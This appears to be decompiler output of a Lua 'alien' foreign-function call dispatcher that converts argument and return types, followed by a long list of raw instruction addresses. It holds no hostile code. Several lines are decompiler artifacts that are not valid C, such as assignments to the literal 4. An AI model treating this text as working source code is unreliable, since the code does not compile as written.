				char* _t227;
				signed int _t238;
				void* _t245;
				void* _t247;
				intOrPtr _t248;
				intOrPtr _t250;
				intOrPtr _t251;
				void* _t270;
				signed int _t271;
				void* _t272;
				void* _t274;
				signed int _t275;
				void* _t277;
				intOrPtr* _t278;
				void* _t279;
				long long _t289;

				L0:
				while(1) {
					L0:
					_t289 = __fp0;
					_t270 = __edi;
					_push(_t245);
					L005E3F68();
					 *((long long*)( *((intOrPtr*)(_t275 - 0x40)))) = __fp0;
					_t278 = _t277 + 8;
					E005E46A0(4);
					_t248 =  *((intOrPtr*)(_t275 - 0x40));
					_t222 = _t278;
					 *_t222 = _t248;
					 *((intOrPtr*)( *((intOrPtr*)(_t275 - 0xc)) + __edi)) = _t222;
					 *((intOrPtr*)(_t275 - 0x40)) = _t248 + 8;
					while(1) {
						L36:
						 *((intOrPtr*)(_t275 - 0xc)) =  *((intOrPtr*)(_t275 - 0xc)) + 4;
						_t245 = _t245 + 1;
						_t116 = _t275 - 0x4c;
						 *_t116 =  *((intOrPtr*)(_t275 - 0x4c)) - 1;
						if( *_t116 == 0) {
							break;
						}
						L1:
						_t250 =  *((intOrPtr*)(_t275 - 0x14));
						_t261 =  *((intOrPtr*)(_t250 + 0x30));
						_t224 =  *( *((intOrPtr*)(_t275 - 0xc)) +  *((intOrPtr*)(_t250 + 0x30)));
						if(_t224 > 0x11) {
							L33:
							_t225 =  *(_t250 + 8);
							if(_t225 == 0) {
								_t225 = "anonymous";
							}
							_push(_t225);
							_push(_t245);
							_push("alien: parameter %i is of unknown type (function %s)");
							_push(_t273);
							L005E3F26();
							_t278 = _t278 + 0x10;
							continue;
						}
						L2:
						switch( *((intOrPtr*)(_t224 * 4 +  &M005E287C))) {
							case 0:
								L3:
								_t243 = E005E46A0(4);
								 *((intOrPtr*)(_t275 - 8)) = _t278;
								_push(_t245);
								_push(_t273);
								L005E3F68();
								_t278 = _t278 + 8;
								_t244 = E005E45C0(_t243, _t289);
								_t260 =  *((intOrPtr*)(_t275 - 8));
								_t261 =  *((intOrPtr*)(_t275 - 0xc));
								 *_t260 = _t244;
								 *((intOrPtr*)( *((intOrPtr*)(_t275 - 0xc)) + _t270)) = _t260;
								goto L36;
							case 1:
								L6:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp dword [ebp-0x18]");
								 *__eax =  *(__ebp - 0x18);
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 2:
								L5:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __eax;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 3:
								L8:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 4:
								L4:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								 *__ecx = __eax;
								__eax =  *(__ebp - 0xc);
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 5:
								L7:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 6:
								goto L33;
							case 7:
								L11:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__ecx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__ecx + __edi) = __eax;
								goto L36;
							case 8:
								L12:
								8 = E005E4686(8);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__edx + __edi) = __eax;
								goto L36;
							case 9:
								L9:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								 *__ecx = __al;
								__eax =  *(__ebp - 0xc);
								__esp = __esp + 8;
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 0xa:
								L10:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __al;
								__esp = __esp + 8;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 0xb:
								L13:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F50();
								__esp = __esp + 8;
								_push(__ebx);
								_push(__esi);
								if(__eax == 0) {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										__esp = __esp + 0xc;
										 *(__ecx + __edi) = __eax;
									} else {
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										 *(__ecx + __edi) = __eax;
									}
								} else {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__ecx + __edi) = __eax;
									} else {
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										 *(__ecx + __edi) = __eax;
									}
								}
								goto L36;
							case 0xc:
								L25:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F4A();
								__esp = __esp + 8;
								if(__eax != 0) {
									_push(__ebx);
									_push(__esi);
									L005E3F56();
									__esp = __esp + 8;
									if(__eax == 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__eax + __edi) = __ecx;
									} else {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										 *(__eax + __edi) = __ecx;
									}
								} else {
									__ecx =  *(__ebp - 8);
									 *__ecx = __eax;
									__eax =  *(__ebp - 0xc);
									 *(__eax + __edi) = __ecx;
								}
								goto L36;
							case 0xd:
								L30:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x24);
								 *( *(__ebp - 0x24)) = __eax;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x24);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x24) = __ecx;
								goto L36;
							case 0xe:
								L31:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__ecx =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__esp = __esp + 8;
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__eax =  *(__ebp - 0x1c);
								 *( *(__ebp - 0x28)) =  *(__ebp - 0x1c);
								__eax = 4;
								asm("fldcw word [ebp-0xe]");
								__eax = E005E46A0(4);
								__ecx =  *(__ebp - 0x28);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x28) = __ecx;
								goto L36;
							case 0xf:
								L32:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x2c);
								 *( *(__ebp - 0x2c)) = __al;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x2c);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 1;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x2c) = __ecx;
								goto L36;
							case 0x10:
								goto L0;
							case 0x11:
								L20:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								__eax = E005E1110(__eax, __ebx, __esi, "alien_callback");
								if(__eax == 0) {
									__eax = E005E1110(__eax, __ebx, __esi, "alien_function");
									if(__eax == 0) {
										_push("alien function or callback expected");
										_push(__ebx);
										_push(__esi);
										L005E3F14();
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										__eax = 0;
										 *__ecx = 0;
										 *(__edx + __edi) = __ecx;
									} else {
										__eax =  *(__eax + 4);
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										 *__ecx = __eax;
										 *(__edx + __edi) = __ecx;
									}
								} else {
									__eax =  *__eax;
									__ecx =  *(__ebp - 8);
									__edx =  *(__ebp - 0xc);
									 *__ecx = __eax;
									 *(__edx + __edi) = __ecx;
								}
								goto L36;
						}
					}
					L37:
					_t251 =  *((intOrPtr*)(_t275 - 0x14));
					 *((intOrPtr*)(_t275 - 0x3c)) = 0;
					_t226 =  *(_t251 + 0xc);
					if(_t226 > 0xc) {
						L58:
						_t227 =  *(_t251 + 8);
						if(_t227 == 0) {
							_t227 = "anonymous";
						}
						_push(_t227);
						_push("alien: unknown return type (function %s)");
						_push(_t273);
						L005E3F26();
						L61:
						_t279 = _t278 + 0xc;
						L62:
						 *((intOrPtr*)(_t275 - 0x24)) =  *((intOrPtr*)(_t275 - 0x24)) +  ~( *(_t275 - 0x48)) * 4;
						 *((intOrPtr*)(_t275 - 0x2c)) =  *((intOrPtr*)(_t275 - 0x2c)) -  *((intOrPtr*)(_t275 - 0x30));
						_t271 = 0;
						 *((intOrPtr*)(_t275 - 0x28)) =  *((intOrPtr*)(_t275 - 0x28)) +  ~( *(_t275 - 0x38)) * 4;
						if( *((intOrPtr*)(_t275 - 0x44)) <= 0) {
							L72:
							_pop(_t272);
							_pop(_t274);
							_pop(_t247);
							return E005E45A4( *((intOrPtr*)(_t275 - 0x30)) +  *((intOrPtr*)(_t275 - 0x34)) +  *(_t275 - 0x38) +  *(_t275 - 0x48) + 1, _t247,  *(_t275 - 4) ^ _t275,  *(_t275 - 0x48), _t272, _t274);
						} else {
							goto L63;
						}
						do {
							L63:
							_t238 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t275 - 0x14)) + 0x30)) + _t271 * 4)) + 0xfffffff3;
							if(_t238 > 3) {
								goto L71;
							}
							L64:
							switch( *((intOrPtr*)(_t238 * 4 +  &M005E28F8))) {
								case 0:
									L65:
									asm("fild dword [ecx]");
									_t282 = _t279 - 8;
									 *_t282 = _t289;
									_push(_t273);
									L005E3F80();
									_t279 = _t282 + 0xc;
									 *((intOrPtr*)(_t275 - 0x24)) =  *((intOrPtr*)(_t275 - 0x24)) + 4;
									goto L71;
								case 1:
									L66:
									__edx =  *(__ebp - 0x28);
									__eax =  *__edx;
									asm("fild dword [edx]");
									if(__eax < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x28) =  *(__ebp - 0x28) + 4;
									goto L71;
								case 2:
									L70:
									__ecx =  *(__ebp - 0x2c);
									__edx =  *__ecx;
									 *(__ebp - 0x18) = __edx;
									__esp = __esp - 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x2c) =  *(__ebp - 0x2c) + 1;
									goto L71;
								case 3:
									L69:
									__fp0 =  *__ebx;
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									__ebx = __ebx + 8;
									goto L71;
							}
							L71:
							_t271 = _t271 + 1;
						} while (_t271 <  *((intOrPtr*)(_t275 - 0x44)));
						goto L72;
					}
					L38:
					switch( *((intOrPtr*)(_t226 * 4 +  &M005E28C4))) {
						case 0:
							L40:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__edx = __ebp - 0x20;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __ebp - 0x20, __edi, __fp0, __eax,  *(__eax + 4), __ebp - 0x20, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 1:
							L43:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t138 = __ebp - 0x20; // -28
							__edx = _t138;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, _t138, __edi, __fp0, __eax,  *(__eax + 4), _t138, __edi);
							__edx =  *(__ebp - 0x20) & 0x0000ffff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 2:
							L42:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t135 = __ebp - 0x20; // -28
							__edx = _t135;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi); // executed
							asm("fild dword [ebp-0x20]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 3:
							L48:
							_t145 = __ebp - 0x20; // -28
							__eax = _t145;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t145, __edi);
							asm("fild dword [ebp-0x20]");
							__edx =  *(__ebp - 0x20);
							goto L45;
						case 4:
							L41:
							_t130 = __ebp - 0x54; // -80
							__eax = _t130;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t130, __edi);
							asm("fild dword [ebp-0x54]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 5:
							L44:
							_t141 = __ebp - 0x58; // -84
							__eax = _t141;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t141, __edi);
							asm("fild dword [ebp-0x58]");
							__edx =  *(__ebp - 0x58);
							L45:
							if(__edx < 0) {
								__fp0 = __fp0 +  *0x5e5878;
							}
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 6:
							L39:
							E005E4130(_t245, _t261, _t270, _t289,  *((intOrPtr*)(_t275 - 0x14)) + 0x10,  *((intOrPtr*)( *((intOrPtr*)(_t275 - 0x14)) + 4)), 0, _t270);
							_push(_t273);
							L005E3F74();
							_t279 = _t278 + 0x14;
							goto L62;
						case 7:
							L51:
							_t159 = __ebp - 0x50; // -76
							__eax = _t159;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t159, __edi);
							__fp0 =  *(__ebp - 0x50);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 8:
							L52:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t165 = __ebp - 0x60; // -92
							__edx = _t165;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__fp0 =  *(__ebp - 0x60);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 9:
							L49:
							_t149 = __ebp - 0x20; // -28
							__eax = _t149;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t149, __edi);
							__edx =  *(__ebp - 0x20) & 0x000000ff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xa:
							L50:
							_t154 = __ebp - 0x20; // -28
							__eax = _t154;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t154, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xb:
							L53:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t169 = __ebp - 0x3c; // -56
							__edx = _t169;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								goto L55;
							}
							L54:
							_push(__eax);
							_push(__esi);
							L005E3EF0();
							__esp = __esp + 8;
							goto L62;
						case 0xc:
							L56:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t173 = __ebp - 0x3c; // -56
							__edx = _t173;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								L55:
								_push(__esi);
								L005E3F74();
								__esp = __esp + 4;
								goto L62;
							}
							L57:
							_push(__eax);
							_push(__esi);
							L005E3F7A();
							__esp = __esp + 8;
							goto L62;
					}
				}
			}

0x005e24a2
0x005e24a2
0x005e24a2
0x005e24a2
0x005e24a2
0x005e24a2
0x005e24a4
0x005e24ac
0x005e24ae
0x005e24b6
0x005e24bb
0x005e24c1
0x005e24c3
0x005e24c8
0x005e24cb
0x005e24ec
0x005e24ec
0x005e24ec
0x005e24f0
0x005e24f3
0x005e24f3
0x005e24f7
0x00000000
0x00000000
0x005e2071
0x005e2071
0x005e2074
0x005e207a
0x005e2080
0x005e24d0
0x005e24d0
0x005e24d5
0x005e24d7
0x005e24d7
0x005e24dc
0x005e24dd
0x005e24de
0x005e24e3
0x005e24e4
0x005e24e9
0x00000000
0x005e24e9
0x005e2086
0x005e2086
0x00000000
0x005e208d
0x005e2092
0x005e2097
0x005e209a
0x005e209b
0x005e209c
0x005e20a1
0x005e20a4
0x005e20a9
0x005e20ac
0x005e20af
0x005e20b2
0x00000000
0x00000000
0x005e2112
0x005e2117
0x005e211c
0x005e211f
0x005e2120
0x005e2121
0x005e2126
0x005e2129
0x005e212d
0x005e2130
0x005e2133
0x005e2138
0x005e213b
0x005e213e
0x005e2141
0x005e2148
0x005e214b
0x005e214e
0x00000000
0x00000000
0x005e20e6
0x005e20e6
0x005e20eb
0x005e20f0
0x005e20f3
0x005e20f4
0x005e20f5
0x005e20fa
0x005e20fd
0x005e2102
0x005e2105
0x005e2108
0x005e210a
0x00000000
0x00000000
0x005e2198
0x005e219d
0x005e21a2
0x005e21a5
0x005e21a6
0x005e21a7
0x005e21ac
0x005e21af
0x005e21b3
0x005e21b6
0x005e21b9
0x005e21be
0x005e21c1
0x005e21c4
0x005e21c7
0x005e21ca
0x005e21cd
0x005e21cf
0x005e21d2
0x00000000
0x00000000
0x005e20ba
0x005e20ba
0x005e20bf
0x005e20c4
0x005e20c7
0x005e20c8
0x005e20c9
0x005e20ce
0x005e20d1
0x005e20d6
0x005e20d9
0x005e20db
0x005e20de
0x00000000
0x00000000
0x005e2156
0x005e215b
0x005e2160
0x005e2163
0x005e2164
0x005e2165
0x005e216a
0x005e216d
0x005e2171
0x005e2174
0x005e2177
0x005e217c
0x005e217f
0x005e2182
0x005e2185
0x005e2188
0x005e218b
0x005e218d
0x005e2190
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2228
0x005e222d
0x005e2232
0x005e2235
0x005e2236
0x005e2237
0x005e223c
0x005e223f
0x005e2242
0x005e2244
0x005e2247
0x00000000
0x00000000
0x005e224f
0x005e2254
0x005e2259
0x005e225c
0x005e225d
0x005e225e
0x005e2263
0x005e2266
0x005e2269
0x005e226b
0x005e226e
0x00000000
0x00000000
0x005e21da
0x005e21df
0x005e21e4
0x005e21e7
0x005e21e8
0x005e21e9
0x005e21ee
0x005e21f1
0x005e21f3
0x005e21f6
0x005e21f9
0x00000000
0x00000000
0x005e2201
0x005e2201
0x005e2206
0x005e220b
0x005e220e
0x005e220f
0x005e2210
0x005e2215
0x005e2218
0x005e221b
0x005e221d
0x005e2220
0x00000000
0x00000000
0x005e2276
0x005e2276
0x005e227b
0x005e2280
0x005e2283
0x005e2284
0x005e2285
0x005e228a
0x005e228f
0x005e2290
0x005e2291
0x005e22cd
0x005e22d2
0x005e22d7
0x005e22eb
0x005e22ed
0x005e22ee
0x005e22ef
0x005e22f4
0x005e22f7
0x005e22fa
0x005e22fc
0x005e22fe
0x005e2301
0x005e22d9
0x005e22d9
0x005e22dc
0x005e22df
0x005e22e1
0x005e22e3
0x005e22e3
0x005e2293
0x005e2293
0x005e2298
0x005e229d
0x005e22b1
0x005e22b2
0x005e22b3
0x005e22b8
0x005e22bb
0x005e22bd
0x005e22bf
0x005e22c2
0x005e22c5
0x005e229f
0x005e229f
0x005e22a2
0x005e22a4
0x005e22a6
0x005e22a9
0x005e22a9
0x005e229d
0x00000000
0x00000000
0x005e237e
0x005e237e
0x005e2383
0x005e2388
0x005e238b
0x005e238c
0x005e238d
0x005e2392
0x005e2397
0x005e23a9
0x005e23aa
0x005e23ab
0x005e23b0
0x005e23b5
0x005e23d3
0x005e23d4
0x005e23d5
0x005e23da
0x005e23dd
0x005e23df
0x005e23e2
0x005e23e5
0x005e23b7
0x005e23b7
0x005e23b9
0x005e23ba
0x005e23bb
0x005e23c0
0x005e23c3
0x005e23c5
0x005e23c8
0x005e23cb
0x005e23cb
0x005e2399
0x005e2399
0x005e239c
0x005e239e
0x005e23a1
0x005e23a1
0x00000000
0x00000000
0x005e23ed
0x005e23ed
0x005e23ee
0x005e23ef
0x005e23f4
0x005e23f7
0x005e23fc
0x005e23ff
0x005e2406
0x005e240b
0x005e240e
0x005e2411
0x005e2413
0x005e2415
0x005e2418
0x005e241b
0x00000000
0x00000000
0x005e2423
0x005e2423
0x005e2424
0x005e2425
0x005e242a
0x005e242d
0x005e2431
0x005e2434
0x005e2439
0x005e243c
0x005e243f
0x005e2442
0x005e2445
0x005e2448
0x005e244a
0x005e244f
0x005e2452
0x005e2457
0x005e245a
0x005e245d
0x005e245f
0x005e2461
0x005e2464
0x005e2467
0x00000000
0x00000000
0x005e246f
0x005e246f
0x005e2470
0x005e2471
0x005e2476
0x005e2479
0x005e247e
0x005e2481
0x005e2488
0x005e248d
0x005e2490
0x005e2493
0x005e2495
0x005e2497
0x005e249a
0x005e249d
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2309
0x005e2309
0x005e230e
0x005e2313
0x005e231b
0x005e2325
0x005e233e
0x005e2348
0x005e235d
0x005e2362
0x005e2363
0x005e2364
0x005e2369
0x005e236c
0x005e236f
0x005e2372
0x005e2374
0x005e2376
0x005e234a
0x005e234a
0x005e234d
0x005e2350
0x005e2353
0x005e2355
0x005e2355
0x005e2327
0x005e2327
0x005e2329
0x005e232c
0x005e232f
0x005e2331
0x005e2331
0x00000000
0x00000000
0x005e2086
0x005e24fd
0x005e24fd
0x005e2500
0x005e2507
0x005e250d
0x005e2753
0x005e2753
0x005e2758
0x005e275a
0x005e275a
0x005e275f
0x005e2760
0x005e2765
0x005e2766
0x005e276b
0x005e276b
0x005e276e
0x005e278a
0x005e2790
0x005e2795
0x005e279d
0x005e27a0
0x005e2843
0x005e2858
0x005e2859
0x005e285a
0x005e2868
0x00000000
0x00000000
0x00000000
0x005e27a6
0x005e27a6
0x005e27af
0x005e27b5
0x00000000
0x00000000
0x005e27bb
0x005e27bb
0x00000000
0x005e27c2
0x005e27c5
0x005e27c7
0x005e27ca
0x005e27cd
0x005e27ce
0x005e27d3
0x005e27d6
0x00000000
0x00000000
0x005e27dc
0x005e27dc
0x005e27df
0x005e27e1
0x005e27e5
0x005e27e7
0x005e27e7
0x005e27ed
0x005e27f0
0x005e27f3
0x005e27f4
0x005e27f9
0x005e27fc
0x00000000
0x00000000
0x005e2818
0x005e2818
0x005e281b
0x005e281e
0x005e2821
0x005e2824
0x005e2827
0x005e282a
0x005e282b
0x005e2830
0x005e2833
0x00000000
0x00000000
0x005e2802
0x005e2802
0x005e2804
0x005e2807
0x005e280a
0x005e280b
0x005e2810
0x005e2813
0x00000000
0x00000000
0x005e2837
0x005e2837
0x005e283a
0x00000000
0x005e27a6
0x005e2513
0x005e2513
0x00000000
0x005e253b
0x005e253b
0x005e253e
0x005e2542
0x005e2547
0x005e254b
0x005e2550
0x005e2554
0x005e2557
0x005e255a
0x005e255d
0x005e2560
0x005e2561
0x00000000
0x00000000
0x005e25bd
0x005e25bd
0x005e25c0
0x005e25c4
0x005e25c4
0x005e25c9
0x005e25cd
0x005e25d2
0x005e25d6
0x005e25d9
0x005e25dc
0x005e25df
0x005e25e2
0x005e25e3
0x00000000
0x00000000
0x005e2594
0x005e2594
0x005e2597
0x005e259b
0x005e259b
0x005e25a0
0x005e25a4
0x005e25a9
0x005e25ac
0x005e25af
0x005e25b2
0x005e25b3
0x00000000
0x00000000
0x005e2623
0x005e2624
0x005e2624
0x005e2628
0x005e262b
0x005e262f
0x005e2633
0x005e2638
0x005e263b
0x00000000
0x00000000
0x005e256b
0x005e256c
0x005e256c
0x005e2570
0x005e2573
0x005e2577
0x005e257b
0x005e2580
0x005e2583
0x005e2586
0x005e2589
0x005e258a
0x00000000
0x00000000
0x005e25ed
0x005e25ee
0x005e25ee
0x005e25f2
0x005e25f5
0x005e25f9
0x005e25fd
0x005e2602
0x005e2605
0x005e2608
0x005e260a
0x005e260c
0x005e260c
0x005e2612
0x005e2615
0x005e2618
0x005e2619
0x00000000
0x00000000
0x005e251a
0x005e2528
0x005e252d
0x005e252e
0x005e2533
0x00000000
0x00000000
0x005e26a0
0x005e26a1
0x005e26a1
0x005e26a5
0x005e26a8
0x005e26ac
0x005e26b0
0x005e26b5
0x005e26b8
0x005e26bb
0x005e26be
0x005e26bf
0x00000000
0x00000000
0x005e26c9
0x005e26c9
0x005e26cc
0x005e26d0
0x005e26d0
0x005e26d5
0x005e26d9
0x005e26de
0x005e26e1
0x005e26e4
0x005e26e7
0x005e26e8
0x00000000
0x00000000
0x005e2640
0x005e2641
0x005e2641
0x005e2645
0x005e2648
0x005e264c
0x005e2650
0x005e2655
0x005e2659
0x005e265c
0x005e265f
0x005e2662
0x005e2665
